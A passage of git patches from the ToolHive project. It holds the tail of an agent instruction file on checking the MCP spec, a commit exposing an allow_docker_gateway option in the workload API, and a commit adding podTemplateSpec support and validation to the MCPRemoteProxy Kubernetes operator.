fetch `https://modelcontextprotocol.io/sitemap.xml` and filter for the resolved version string — this is self-correcting as pages are added, renamed, or removed, unlike a hand-maintained list. + - Common pages to expect (verify against the sitemap, don't assume the exact path): architecture, basic, basic/authorization, basic/lifecycle, basic/transports, basic/utilities/{cancellation,ping,progress,tasks}, client/{elicitation,roots,sampling}, server, server/{tools,resources,prompts}, server/utilities/{completion,logging,pagination}, schema, changelog. + - Also check `https://modelcontextprotocol.io/extensions/auth/overview` for MCP auth extensions, which live outside the versioned spec tree. +3. Cross-reference whichever source answered with ToolHive's implementation. +4. Provide guidance based on the latest spec. +5. Explicitly note any discrepancies between spec and implementation, and note which source (context7 vs. WebFetch) backed the answer if it's non-obvious. ## Your Expertise @@ -50,7 +47,7 @@ Check for newer spec versions — the date in the URL indicates version. - **Transport protocols**: stdio (preferred), Streamable HTTP, SSE (deprecated) - **JSON-RPC 2.0**: Message format, request/response/notification patterns - **Protocol lifecycle**: Initialization, capability negotiation, operation, shutdown -- **Tasks & Elicitation**: Long-running operations and user input collection (new in 2025-11-25) +- **Tasks & Elicitation**: Long-running operations and user input collection - **Authorization**: OAuth 2.1, RFC 9728, RFC 8707, Client ID Metadata Documents ## Key ToolHive Files @@ -71,8 +68,8 @@ Check for newer spec versions — the date in the URL indicates version. 5. **Protocol debugging**: Analyze JSON-RPC exchanges against spec requirements -1. Fetch before answering — always use WebFetch for relevant spec pages +1. Fetch before answering — try context7 first, fall back to WebFetch, never answer from memory alone 2. Spec is authoritative — if conflict with this doc, the fetched spec wins -3. Check for newer versions — look for dates newer than 2025-11-25 +3. Never hardcode a version — resolve the current stable version fresh each time (context7 resolve-library-id, or the unversioned spec index for WebFetch) 4. Call out discrepancies explicitly when ToolHive differs from spec From 59d846654f2842df83fc3fe0ebe277a9dee7ed84 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?D=C3=A1niel=20K=C3=A1ntor?= Date: Wed, 15 Jul 2026 10:34:47 +0200 Subject: [PATCH 47/66] Expose --allow-docker-gateway in workload API (#5799) The CLI already wires --allow-docker-gateway into RunConfig via runner.WithAllowDockerGateway, and the Docker egress proxy honors it, but the HTTP workload API's request/response types never exposed the field, so servers created or updated through the API had no way to opt in to Docker gateway access. Add AllowDockerGateway to updateRequest, thread it through BuildFullRunConfig, and include it in the runConfig-to-response conversion. Regenerate swagger/CLI docs. --- docs/server/docs.go | 8 +++++ docs/server/swagger.json | 8 +++++ docs/server/swagger.yaml | 14 ++++++++ pkg/api/v1/workload_service.go | 1 + pkg/api/v1/workload_service_test.go | 47 ++++++++++++++++++++++++++ pkg/api/v1/workload_types.go | 52 ++++++++++++++++------------- pkg/api/v1/workloads_types_test.go | 30 +++++++++-------- 7 files changed, 123 insertions(+), 37 deletions(-) diff --git a/docs/server/docs.go b/docs/server/docs.go index fbb1f033ab..267f322c79 100644 --- a/docs/server/docs.go +++ b/docs/server/docs.go @@ -2743,6 +2743,10 @@ const docTemplate = `{ "pkg_api_v1.createRequest": { "description": "Request to create a new workload", "properties": { + "allow_docker_gateway": { + "description": "Whether to permit outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when network isolation is on.\nOnly applicable to Docker deployments with network isolation enabled.", + "type": "boolean" + }, "authz_config": { "description": "Authorization configuration", "type": "string" @@ -3429,6 +3433,10 @@ const docTemplate = `{ "pkg_api_v1.updateRequest": { "description": "Request to update an existing workload (name cannot be changed)", "properties": { + "allow_docker_gateway": { + "description": "Whether to permit outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when network isolation is on.\nOnly applicable to Docker deployments with network isolation enabled.", + "type": "boolean" + }, "authz_config": { "description": "Authorization configuration", "type": "string" diff --git a/docs/server/swagger.json b/docs/server/swagger.json index c565baeca4..a68ec0aa8c 100644 --- a/docs/server/swagger.json +++ b/docs/server/swagger.json @@ -2736,6 +2736,10 @@ "pkg_api_v1.createRequest": { "description": "Request to create a new workload", "properties": { + "allow_docker_gateway": { + "description": "Whether to permit outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when network isolation is on.\nOnly applicable to Docker deployments with network isolation enabled.", + "type": "boolean" + }, "authz_config": { "description": "Authorization configuration", "type": "string" @@ -3422,6 +3426,10 @@ "pkg_api_v1.updateRequest": { "description": "Request to update an existing workload (name cannot be changed)", "properties": { + "allow_docker_gateway": { + "description": "Whether to permit outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when network isolation is on.\nOnly applicable to Docker deployments with network isolation enabled.", + "type": "boolean" + }, "authz_config": { "description": "Authorization configuration", "type": "string" diff --git a/docs/server/swagger.yaml b/docs/server/swagger.yaml index 06399987d0..b22c644e5e 100644 --- a/docs/server/swagger.yaml +++ b/docs/server/swagger.yaml @@ -2585,6 +2585,13 @@ components: pkg_api_v1.createRequest: description: Request to create a new workload properties: + allow_docker_gateway: + description: |- + Whether to permit outbound connections to Docker gateway addresses + (host.docker.internal, gateway.docker.internal, 172.17.0.1). These are + blocked by default in the egress proxy even when network isolation is on. + Only applicable to Docker deployments with network isolation enabled. + type: boolean authz_config: description: Authorization configuration type: string @@ -3117,6 +3124,13 @@ components: pkg_api_v1.updateRequest: description: Request to update an existing workload (name cannot be changed) properties: + allow_docker_gateway: + description: |- + Whether to permit outbound connections to Docker gateway addresses + (host.docker.internal, gateway.docker.internal, 172.17.0.1). These are + blocked by default in the egress proxy even when network isolation is on. + Only applicable to Docker deployments with network isolation enabled. + type: boolean authz_config: description: Authorization configuration type: string diff --git a/pkg/api/v1/workload_service.go b/pkg/api/v1/workload_service.go index 8fd5242661..bc179ab7f6 100644 --- a/pkg/api/v1/workload_service.go +++ b/pkg/api/v1/workload_service.go @@ -341,6 +341,7 @@ func (s *WorkloadService) BuildFullRunConfig( runner.WithPermissionProfile(req.PermissionProfile), runner.WithNetworkIsolation(networkIsolationEnabled(req.NetworkIsolation)), runner.WithTrustProxyHeaders(req.TrustProxyHeaders), + runner.WithAllowDockerGateway(req.AllowDockerGateway), runner.WithK8sPodPatch(""), runner.WithProxyMode(types.ProxyMode(req.ProxyMode)), runner.WithTransportAndPorts(req.Transport, req.ProxyPort, req.TargetPort), diff --git a/pkg/api/v1/workload_service_test.go b/pkg/api/v1/workload_service_test.go index 81b7d92e68..b03823aac1 100644 --- a/pkg/api/v1/workload_service_test.go +++ b/pkg/api/v1/workload_service_test.go @@ -273,6 +273,53 @@ func TestBuildFullRunConfig_AppliesOtelFromConfig(t *testing.T) { "MetricsEnabled must default to true when config does not set it, matching CLI behavior") } +// TestBuildFullRunConfig_ThreadsAllowDockerGateway verifies that the +// allow_docker_gateway request field reaches the resulting RunConfig, since +// the CLI already exposes --allow-docker-gateway but the API previously +// dropped the value on the floor. +func TestBuildFullRunConfig_ThreadsAllowDockerGateway(t *testing.T) { + t.Parallel() + + ctrl := gomock.NewController(t) + defer ctrl.Finish() + + mockGroupManager := groupsmocks.NewMockManager(ctrl) + mockGroupManager.EXPECT().Exists(gomock.Any(), "default").Return(true, nil) + + const testImage = "test-image" + + mockRetriever := func( + _ context.Context, + _ string, _ string, _ string, _ string, + _ *templates.RuntimeConfig, + ) (string, regtypes.ServerMetadata, error) { + return testImage, ®types.ImageMetadata{Image: testImage}, nil + } + + configPath := t.TempDir() + "/config.yaml" + provider := config.NewPathProvider(configPath) + + service := &WorkloadService{ + groupManager: mockGroupManager, + imageRetriever: mockRetriever, + imagePuller: func(_ context.Context, _ string) error { return nil }, + configProvider: provider, + imageVerification: retriever.VerifyImageWarn, + } + + req := &createRequest{ + Name: "testserver", + updateRequest: updateRequest{ + Image: testImage, + AllowDockerGateway: true, + }, + } + + runConfig, err := service.BuildFullRunConfig(context.Background(), req, 0) + require.NoError(t, err) + assert.True(t, runConfig.AllowDockerGateway) +} + // TestBuildFullRunConfig_NoOtelConfigLeavesTelemetryNil verifies that when no // OpenTelemetry config is set, the RunConfig's TelemetryConfig remains nil — // the API path does not invent an endpoint. diff --git a/pkg/api/v1/workload_types.go b/pkg/api/v1/workload_types.go index 1a879a5f00..e11162cff5 100644 --- a/pkg/api/v1/workload_types.go +++ b/pkg/api/v1/workload_types.go @@ -80,6 +80,11 @@ type updateRequest struct { NetworkIsolation *bool `json:"network_isolation,omitempty"` // Whether to trust X-Forwarded-* headers from reverse proxies TrustProxyHeaders bool `json:"trust_proxy_headers"` + // Whether to permit outbound connections to Docker gateway addresses + // (host.docker.internal, gateway.docker.internal, 172.17.0.1). These are + // blocked by default in the egress proxy even when network isolation is on. + // Only applicable to Docker deployments with network isolation enabled. + AllowDockerGateway bool `json:"allow_docker_gateway,omitempty"` // Tools filter ToolsFilter []string `json:"tools"` // Tools override @@ -357,29 +362,30 @@ func runConfigToCreateRequest(runConfig *runner.RunConfig) *createRequest { return &createRequest{ updateRequest: updateRequest{ - Image: runConfig.Image, - RuntimeConfig: runtimeConfigForResponse(runConfig), - Host: runConfig.Host, - CmdArguments: runConfig.CmdArgs, - TargetPort: runConfig.TargetPort, - ProxyPort: runConfig.Port, - EnvVars: runConfig.EnvVars, - Secrets: secretParams, - Volumes: runConfig.Volumes, - Transport: string(runConfig.Transport), - AuthzConfig: authzConfigPath, - OIDC: oidcConfig, - PermissionProfile: runConfig.PermissionProfile, - ProxyMode: string(runConfig.ProxyMode), - NetworkIsolation: &runConfig.IsolateNetwork, - TrustProxyHeaders: runConfig.TrustProxyHeaders, - ToolsFilter: runConfig.ToolsFilter, - ToolsOverride: toolsOverride, - Group: runConfig.Group, - URL: runConfig.RemoteURL, - OAuthConfig: oAuthConfig, - Headers: headers, - HeaderForward: headerForward, + Image: runConfig.Image, + RuntimeConfig: runtimeConfigForResponse(runConfig), + Host: runConfig.Host, + CmdArguments: runConfig.CmdArgs, + TargetPort: runConfig.TargetPort, + ProxyPort: runConfig.Port, + EnvVars: runConfig.EnvVars, + Secrets: secretParams, + Volumes: runConfig.Volumes, + Transport: string(runConfig.Transport), + AuthzConfig: authzConfigPath, + OIDC: oidcConfig, + PermissionProfile: runConfig.PermissionProfile, + ProxyMode: string(runConfig.ProxyMode), + NetworkIsolation: &runConfig.IsolateNetwork, + TrustProxyHeaders: runConfig.TrustProxyHeaders, + AllowDockerGateway: runConfig.AllowDockerGateway, + ToolsFilter: runConfig.ToolsFilter, + ToolsOverride: toolsOverride, + Group: runConfig.Group, + URL: runConfig.RemoteURL, + OAuthConfig: oAuthConfig, + Headers: headers, + HeaderForward: headerForward, }, Name: runConfig.Name, } diff --git a/pkg/api/v1/workloads_types_test.go b/pkg/api/v1/workloads_types_test.go index c5f6c8f38e..8aeafd5701 100644 --- a/pkg/api/v1/workloads_types_test.go +++ b/pkg/api/v1/workloads_types_test.go @@ -89,20 +89,21 @@ func TestRunConfigToCreateRequest(t *testing.T) { t.Parallel() runConfig := &runner.RunConfig{ - Name: "test-workload", - Image: "test-image:latest", - Host: "localhost", - Port: 3000, - CmdArgs: []string{"arg1", "arg2"}, - TargetPort: 8080, - EnvVars: map[string]string{"ENV1": "value1"}, - Secrets: []string{"secret1,target=/path1", "secret2,target=/path2"}, - Volumes: []string{"/host:/container"}, - Transport: types.TransportTypeSSE, - Group: "test-group", - ProxyMode: types.ProxyModeSSE, - IsolateNetwork: true, - ToolsFilter: []string{"tool1", "tool2"}, + Name: "test-workload", + Image: "test-image:latest", + Host: "localhost", + Port: 3000, + CmdArgs: []string{"arg1", "arg2"}, + TargetPort: 8080, + EnvVars: map[string]string{"ENV1": "value1"}, + Secrets: []string{"secret1,target=/path1", "secret2,target=/path2"}, + Volumes: []string{"/host:/container"}, + Transport: types.TransportTypeSSE, + Group: "test-group", + ProxyMode: types.ProxyModeSSE, + IsolateNetwork: true, + ToolsFilter: []string{"tool1", "tool2"}, + AllowDockerGateway: true, } result := runConfigToCreateRequest(runConfig) @@ -127,6 +128,7 @@ func TestRunConfigToCreateRequest(t *testing.T) { require.NotNil(t, result.NetworkIsolation) assert.True(t, *result.NetworkIsolation) assert.Equal(t, []string{"tool1", "tool2"}, result.ToolsFilter) + assert.True(t, result.AllowDockerGateway) }) t.Run("with plaintext header forward", func(t *testing.T) { From 52f82eddc6b6322cb372c8d0c6392a13919048f2 Mon Sep 17 00:00:00 2001 From: Sanskar Gurdasani <92817635+Sanskarzz@users.noreply.github.com> Date: Wed, 15 Jul 2026 15:46:46 +0530 Subject: [PATCH 48/66] Added spec.podTemplateSpec support to MCPRemoteProxy (#5531) * Add spec.podTemplateSpec support to MCPRemoteProxy Signed-off-by: Sanskarzz * addressed review comments Signed-off-by: Sanskarzz --------- Signed-off-by: Sanskarzz Co-authored-by: Alejandro Ponce de Leon --- .../api/v1beta1/mcpremoteproxy_types.go | 20 ++ .../api/v1beta1/zz_generated.deepcopy.go | 5 + .../controllers/mcpremoteproxy_controller.go | 232 +++++++++++++++-- .../controllers/mcpremoteproxy_deployment.go | 45 +++- .../mcpremoteproxy_podtemplatespec_test.go | 238 ++++++++++++++++++ .../controllers/podtemplatespec_constants.go | 11 + .../virtualmcpserver_deployment.go | 4 - ...oolhive.stacklok.dev_mcpremoteproxies.yaml | 18 ++ ...oolhive.stacklok.dev_mcpremoteproxies.yaml | 18 ++ docs/operator/crd-api.md | 1 + 10 files changed, 568 insertions(+), 24 deletions(-) create mode 100644 cmd/thv-operator/controllers/mcpremoteproxy_podtemplatespec_test.go create mode 100644 cmd/thv-operator/controllers/podtemplatespec_constants.go diff --git a/cmd/thv-operator/api/v1beta1/mcpremoteproxy_types.go b/cmd/thv-operator/api/v1beta1/mcpremoteproxy_types.go index 9feb736951..ecb2bdbeb2 100644 --- a/cmd/thv-operator/api/v1beta1/mcpremoteproxy_types.go +++ b/cmd/thv-operator/api/v1beta1/mcpremoteproxy_types.go @@ -5,6 +5,7 @@ package v1beta1 import ( metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + "k8s.io/apimachinery/pkg/runtime" ) // HeaderForwardConfig defines header forward configuration for remote servers. @@ -124,6 +125,16 @@ type MCPRemoteProxySpec struct { // +optional ServiceAccount *string `json:"serviceAccount,omitempty"` + // PodTemplateSpec defines the pod template to use for the MCPRemoteProxy + // This allows for customizing the pod configuration beyond what is provided by the other fields. + // Note that to modify the specific container the remote proxy runs in, you must specify + // the `toolhive` container name in the PodTemplateSpec. + // This field accepts a PodTemplateSpec object as JSON/YAML. + // +optional + // +kubebuilder:pruning:PreserveUnknownFields + // +kubebuilder:validation:Type=object + PodTemplateSpec *runtime.RawExtension `json:"podTemplateSpec,omitempty"` + // TrustProxyHeaders indicates whether to trust X-Forwarded-* headers from reverse proxies // When enabled, the proxy will use X-Forwarded-Proto, X-Forwarded-Host, X-Forwarded-Port, // and X-Forwarded-Prefix headers to construct endpoint URLs @@ -292,6 +303,9 @@ const ( // ConditionTypeMCPRemoteProxyAuthServerRefValidated indicates whether the AuthServerRef is valid ConditionTypeMCPRemoteProxyAuthServerRefValidated = "AuthServerRefValidated" + // ConditionTypeMCPRemoteProxyPodTemplateValid indicates whether the PodTemplateSpec is valid + ConditionTypeMCPRemoteProxyPodTemplateValid = "PodTemplateValid" + // ConditionTypeMCPRemoteProxyCABundleRefValidated indicates whether the OIDC CA bundle reference is valid ConditionTypeMCPRemoteProxyCABundleRefValidated = "CABundleRefValidated" @@ -383,6 +397,12 @@ const ( // ConditionReasonMCPRemoteProxyAuthServerRefMultiUpstream indicates multi-upstream is not supported ConditionReasonMCPRemoteProxyAuthServerRefMultiUpstream = "MultiUpstreamNotSupported" + // ConditionReasonMCPRemoteProxyPodTemplateValid indicates PodTemplateSpec validation succeeded + ConditionReasonMCPRemoteProxyPodTemplateValid = "ValidPodTemplateSpec" + + // ConditionReasonMCPRemoteProxyPodTemplateInvalid indicates PodTemplateSpec validation failed + ConditionReasonMCPRemoteProxyPodTemplateInvalid = "InvalidPodTemplateSpec" + // ConditionReasonMCPRemoteProxyCABundleRefValid indicates the CA bundle ref is valid and the ConfigMap exists ConditionReasonMCPRemoteProxyCABundleRefValid = "CABundleRefValid" diff --git a/cmd/thv-operator/api/v1beta1/zz_generated.deepcopy.go b/cmd/thv-operator/api/v1beta1/zz_generated.deepcopy.go index 11c837f56c..ccb82ed571 100644 --- a/cmd/thv-operator/api/v1beta1/zz_generated.deepcopy.go +++ b/cmd/thv-operator/api/v1beta1/zz_generated.deepcopy.go @@ -1452,6 +1452,11 @@ func (in *MCPRemoteProxySpec) DeepCopyInto(out *MCPRemoteProxySpec) { *out = new(string) **out = **in } + if in.PodTemplateSpec != nil { + in, out := &in.PodTemplateSpec, &out.PodTemplateSpec + *out = new(runtime.RawExtension) + (*in).DeepCopyInto(*out) + } if in.ResourceOverrides != nil { in, out := &in.ResourceOverrides, &out.ResourceOverrides *out = new(ResourceOverrides) diff --git a/cmd/thv-operator/controllers/mcpremoteproxy_controller.go b/cmd/thv-operator/controllers/mcpremoteproxy_controller.go index b2952c6673..2dc32672bc 100644 --- a/cmd/thv-operator/controllers/mcpremoteproxy_controller.go +++ b/cmd/thv-operator/controllers/mcpremoteproxy_controller.go @@ -48,6 +48,8 @@ type MCPRemoteProxyReconciler struct { ImagePullSecretsDefaults imagepullsecrets.Defaults } +var errInvalidMCPRemoteProxyPodTemplateSpec = stderrors.New("invalid MCPRemoteProxy PodTemplateSpec") + // +kubebuilder:rbac:groups=toolhive.stacklok.dev,resources=mcpremoteproxies,verbs=get;list;watch;create;update;patch;delete // +kubebuilder:rbac:groups=toolhive.stacklok.dev,resources=mcpremoteproxies/status,verbs=get;update;patch // +kubebuilder:rbac:groups=toolhive.stacklok.dev,resources=mcptoolconfigs,verbs=get;list;watch @@ -83,6 +85,9 @@ func (r *MCPRemoteProxyReconciler) Reconcile(ctx context.Context, req ctrl.Reque // Validate and handle configurations if err := r.validateAndHandleConfigs(ctx, proxy); err != nil { + if stderrors.Is(err, errInvalidMCPRemoteProxyPodTemplateSpec) { + return ctrl.Result{}, nil + } return ctrl.Result{}, err } @@ -104,20 +109,7 @@ func (r *MCPRemoteProxyReconciler) Reconcile(ctx context.Context, req ctrl.Reque func (r *MCPRemoteProxyReconciler) validateAndHandleConfigs(ctx context.Context, proxy *mcpv1beta1.MCPRemoteProxy) error { ctxLogger := log.FromContext(ctx) - // Validate the spec - if err := r.validateSpec(ctx, proxy); err != nil { - ctxLogger.Error(err, "MCPRemoteProxy spec validation failed") - proxy.Status.Phase = mcpv1beta1.MCPRemoteProxyPhaseFailed - proxy.Status.Message = fmt.Sprintf("Validation failed: %v", err) - meta.SetStatusCondition(&proxy.Status.Conditions, metav1.Condition{ - Type: mcpv1beta1.ConditionTypeAuthConfigured, - Status: metav1.ConditionFalse, - Reason: mcpv1beta1.ConditionReasonAuthInvalid, - Message: err.Error(), - }) - if statusErr := r.Status().Update(ctx, proxy); statusErr != nil { - ctxLogger.Error(statusErr, "Failed to update MCPRemoteProxy status after validation error") - } + if err := r.validateSpecAndPodTemplate(ctx, proxy); err != nil { return err } @@ -196,6 +188,94 @@ func (r *MCPRemoteProxyReconciler) validateAndHandleConfigs(ctx context.Context, return nil } +func (r *MCPRemoteProxyReconciler) validateSpecAndPodTemplate( + ctx context.Context, + proxy *mcpv1beta1.MCPRemoteProxy, +) error { + ctxLogger := log.FromContext(ctx) + + if err := r.validateSpec(ctx, proxy); err != nil { + ctxLogger.Error(err, "MCPRemoteProxy spec validation failed") + proxy.Status.Phase = mcpv1beta1.MCPRemoteProxyPhaseFailed + proxy.Status.Message = fmt.Sprintf("Validation failed: %v", err) + meta.SetStatusCondition(&proxy.Status.Conditions, metav1.Condition{ + Type: mcpv1beta1.ConditionTypeAuthConfigured, + Status: metav1.ConditionFalse, + Reason: mcpv1beta1.ConditionReasonAuthInvalid, + Message: err.Error(), + }) + if statusErr := r.Status().Update(ctx, proxy); statusErr != nil { + ctxLogger.Error(statusErr, "Failed to update MCPRemoteProxy status after validation error") + } + return err + } + + if !r.validateAndUpdatePodTemplateStatus(ctx, proxy) { + return errInvalidMCPRemoteProxyPodTemplateSpec + } + + return nil +} + +// validateAndUpdatePodTemplateStatus validates the PodTemplateSpec and updates status conditions. +// It returns false when the PodTemplateSpec is invalid and reconciliation should stop until the user fixes it. +func (r *MCPRemoteProxyReconciler) validateAndUpdatePodTemplateStatus( + ctx context.Context, + proxy *mcpv1beta1.MCPRemoteProxy, +) bool { + ctxLogger := log.FromContext(ctx) + + if proxy.Spec.PodTemplateSpec == nil || proxy.Spec.PodTemplateSpec.Raw == nil { + return true + } + + _, err := ctrlutil.NewPodTemplateSpecBuilder(proxy.Spec.PodTemplateSpec, mcpRemoteProxyContainerName) + if err != nil { + if r.Recorder != nil { + r.Recorder.Eventf(proxy, nil, corev1.EventTypeWarning, "InvalidPodTemplateSpec", "ValidatePodTemplateSpec", + "Failed to parse PodTemplateSpec: %v. Deployment blocked until PodTemplateSpec is fixed.", err) + } + + proxy.Status.Phase = mcpv1beta1.MCPRemoteProxyPhaseFailed + proxy.Status.Message = fmt.Sprintf("Invalid PodTemplateSpec: %v", err) + meta.SetStatusCondition(&proxy.Status.Conditions, metav1.Condition{ + Type: mcpv1beta1.ConditionTypeMCPRemoteProxyPodTemplateValid, + Status: metav1.ConditionFalse, + ObservedGeneration: proxy.Generation, + Reason: mcpv1beta1.ConditionReasonMCPRemoteProxyPodTemplateInvalid, + Message: fmt.Sprintf("Failed to parse PodTemplateSpec: %v. Deployment blocked until fixed.", err), + }) + meta.SetStatusCondition(&proxy.Status.Conditions, metav1.Condition{ + Type: mcpv1beta1.ConditionTypeReady, + Status: metav1.ConditionFalse, + ObservedGeneration: proxy.Generation, + Reason: mcpv1beta1.ConditionReasonDeploymentNotReady, + Message: fmt.Sprintf("Invalid PodTemplateSpec: %v", err), + }) + + if statusErr := r.Status().Update(ctx, proxy); statusErr != nil { + ctxLogger.Error(statusErr, "Failed to update MCPRemoteProxy status with PodTemplateSpec validation") + return false + } + + ctxLogger.Error(err, "PodTemplateSpec validation failed") + return false + } + + meta.SetStatusCondition(&proxy.Status.Conditions, metav1.Condition{ + Type: mcpv1beta1.ConditionTypeMCPRemoteProxyPodTemplateValid, + Status: metav1.ConditionTrue, + ObservedGeneration: proxy.Generation, + Reason: mcpv1beta1.ConditionReasonMCPRemoteProxyPodTemplateValid, + Message: "PodTemplateSpec is valid", + }) + if statusErr := r.Status().Update(ctx, proxy); statusErr != nil { + ctxLogger.Error(statusErr, "Failed to update MCPRemoteProxy status with PodTemplateSpec validation") + } + + return true +} + // ensureAllResources ensures all Kubernetes resources for the proxy func (r *MCPRemoteProxyReconciler) ensureAllResources(ctx context.Context, proxy *mcpv1beta1.MCPRemoteProxy) error { ctxLogger := log.FromContext(ctx) @@ -327,6 +407,11 @@ func (r *MCPRemoteProxyReconciler) ensureDeployment( deployment.Spec.Template = newDeployment.Spec.Template deployment.Labels = newDeployment.Labels deployment.Annotations = ctrlutil.MergeAnnotations(newDeployment.Annotations, deployment.Annotations) + + if proxy.Spec.PodTemplateSpec == nil || len(proxy.Spec.PodTemplateSpec.Raw) == 0 { + delete(deployment.Annotations, podTemplateSpecHashAnnotation) + } + if newDeployment.Spec.Replicas != nil { deployment.Spec.Replicas = newDeployment.Spec.Replicas } @@ -1445,7 +1530,7 @@ func (r *MCPRemoteProxyReconciler) deploymentNeedsUpdate( return true } - if r.containerNeedsUpdate(ctx, deployment, proxy) { + if r.containerNeedsUpdate(ctx, deployment, proxy, runConfigChecksum) { return true } @@ -1457,7 +1542,11 @@ func (r *MCPRemoteProxyReconciler) deploymentNeedsUpdate( return true } - if r.podSpecNeedsUpdate(deployment, proxy) { + if r.podTemplateSpecNeedsUpdate(ctx, deployment, proxy) { + return true + } + + if r.podSpecNeedsUpdate(ctx, deployment, proxy, runConfigChecksum) { return true } @@ -1481,11 +1570,45 @@ func (r *MCPRemoteProxyReconciler) containerNeedsUpdate( ctx context.Context, deployment *appsv1.Deployment, proxy *mcpv1beta1.MCPRemoteProxy, + runConfigChecksum string, ) bool { if deployment == nil || proxy == nil || len(deployment.Spec.Template.Spec.Containers) == 0 { return true } + if proxy.Spec.PodTemplateSpec != nil && len(proxy.Spec.PodTemplateSpec.Raw) > 0 { + return r.containerNeedsUpdateWithPodTemplate(ctx, deployment, proxy, runConfigChecksum) + } + + return r.generatedContainerNeedsUpdate(ctx, deployment, proxy) +} + +func (r *MCPRemoteProxyReconciler) containerNeedsUpdateWithPodTemplate( + ctx context.Context, + deployment *appsv1.Deployment, + proxy *mcpv1beta1.MCPRemoteProxy, + runConfigChecksum string, +) bool { + expectedDeployment := r.deploymentForMCPRemoteProxy(ctx, proxy, runConfigChecksum) + if expectedDeployment == nil { + return true + } + currentContainer, ok := findContainerByName(deployment.Spec.Template.Spec.Containers, mcpRemoteProxyContainerName) + if !ok { + return true + } + expectedContainer, ok := findContainerByName(expectedDeployment.Spec.Template.Spec.Containers, mcpRemoteProxyContainerName) + if !ok { + return true + } + return remoteProxyContainerFieldsNeedUpdate(currentContainer, expectedContainer) +} + +func (r *MCPRemoteProxyReconciler) generatedContainerNeedsUpdate( + ctx context.Context, + deployment *appsv1.Deployment, + proxy *mcpv1beta1.MCPRemoteProxy, +) bool { container := deployment.Spec.Template.Spec.Containers[0] // Check if runner image has changed @@ -1523,7 +1646,7 @@ func (r *MCPRemoteProxyReconciler) containerNeedsUpdate( } // Check if service account has changed - expectedServiceAccountName := proxyRunnerServiceAccountNameForRemoteProxy(proxy.Name) + expectedServiceAccountName := serviceAccountNameForRemoteProxy(proxy) currentServiceAccountName := deployment.Spec.Template.Spec.ServiceAccountName if currentServiceAccountName != "" && currentServiceAccountName != expectedServiceAccountName { return true @@ -1532,6 +1655,32 @@ func (r *MCPRemoteProxyReconciler) containerNeedsUpdate( return false } +func findContainerByName(containers []corev1.Container, name string) (*corev1.Container, bool) { + for i := range containers { + if containers[i].Name == name { + return &containers[i], true + } + } + return nil, false +} + +func remoteProxyContainerFieldsNeedUpdate(current, expected *corev1.Container) bool { + if current == nil || expected == nil { + return true + } + + return current.Image != expected.Image || + !equality.Semantic.DeepEqual(current.Args, expected.Args) || + !equality.Semantic.DeepEqual(current.Env, expected.Env) || + !equality.Semantic.DeepEqual(current.VolumeMounts, expected.VolumeMounts) || + !equality.Semantic.DeepEqual(current.Resources, expected.Resources) || + !equality.Semantic.DeepEqual(current.Ports, expected.Ports) || + !equality.Semantic.DeepEqual(current.StartupProbe, expected.StartupProbe) || + !equality.Semantic.DeepEqual(current.LivenessProbe, expected.LivenessProbe) || + !equality.Semantic.DeepEqual(current.ReadinessProbe, expected.ReadinessProbe) || + !equality.Semantic.DeepEqual(current.SecurityContext, expected.SecurityContext) +} + // deploymentMetadataNeedsUpdate checks if deployment-level metadata has changed. // // Compares deployment labels and annotations, including any user-specified overrides @@ -1588,6 +1737,11 @@ func (r *MCPRemoteProxyReconciler) podTemplateMetadataNeedsUpdate( labelsForMCPRemoteProxy(proxy.Name), proxy, runConfigChecksum, ) + if proxy.Spec.PodTemplateSpec != nil && len(proxy.Spec.PodTemplateSpec.Raw) > 0 { + return !ctrlutil.MapIsSubset(expectedPodTemplateLabels, deployment.Spec.Template.Labels) || + !ctrlutil.MapIsSubset(expectedPodTemplateAnnotations, deployment.Spec.Template.Annotations) + } + if !maps.Equal(deployment.Spec.Template.Labels, expectedPodTemplateLabels) { return true } @@ -1599,6 +1753,29 @@ func (r *MCPRemoteProxyReconciler) podTemplateMetadataNeedsUpdate( return false } +// podTemplateSpecNeedsUpdate checks whether the user-provided PodTemplateSpec raw input changed. +func (*MCPRemoteProxyReconciler) podTemplateSpecNeedsUpdate( + ctx context.Context, + deployment *appsv1.Deployment, + proxy *mcpv1beta1.MCPRemoteProxy, +) bool { + if deployment == nil || proxy == nil { + return true + } + + if proxy.Spec.PodTemplateSpec == nil || proxy.Spec.PodTemplateSpec.Raw == nil { + _, hadPrevious := deployment.Annotations[podTemplateSpecHashAnnotation] + return hadPrevious + } + + expectedHash, err := checksum.HashRawJSON(proxy.Spec.PodTemplateSpec.Raw) + if err != nil { + log.FromContext(ctx).Error(err, "Failed to hash PodTemplateSpec, assuming update needed") + return true + } + return deployment.Annotations[podTemplateSpecHashAnnotation] != expectedHash +} + // podSpecNeedsUpdate checks if pod-level fields (not container fields) have drifted. // // Currently compares ImagePullSecrets — the merge of cluster-wide chart @@ -1606,12 +1783,29 @@ func (r *MCPRemoteProxyReconciler) podTemplateMetadataNeedsUpdate( // equality.Semantic.DeepEqual so nil and empty slices are treated as equal, // which matches Kubernetes' own serialization semantics. func (r *MCPRemoteProxyReconciler) podSpecNeedsUpdate( + ctx context.Context, deployment *appsv1.Deployment, proxy *mcpv1beta1.MCPRemoteProxy, + runConfigChecksum string, ) bool { + if proxy.Spec.PodTemplateSpec != nil && len(proxy.Spec.PodTemplateSpec.Raw) > 0 { + expectedDeployment := r.deploymentForMCPRemoteProxy(ctx, proxy, runConfigChecksum) + if expectedDeployment == nil { + return true + } + return deployment.Spec.Template.Spec.ServiceAccountName != expectedDeployment.Spec.Template.Spec.ServiceAccountName || + !equality.Semantic.DeepEqual( + deployment.Spec.Template.Spec.ImagePullSecrets, + expectedDeployment.Spec.Template.Spec.ImagePullSecrets, + ) + } + + if deployment.Spec.Template.Spec.ServiceAccountName != serviceAccountNameForRemoteProxy(proxy) { + return true + } + expected := r.imagePullSecretsForRemoteProxy(proxy) - current := deployment.Spec.Template.Spec.ImagePullSecrets - return !equality.Semantic.DeepEqual(current, expected) + return !equality.Semantic.DeepEqual(deployment.Spec.Template.Spec.ImagePullSecrets, expected) } // serviceNeedsUpdate checks if the service needs to be updated 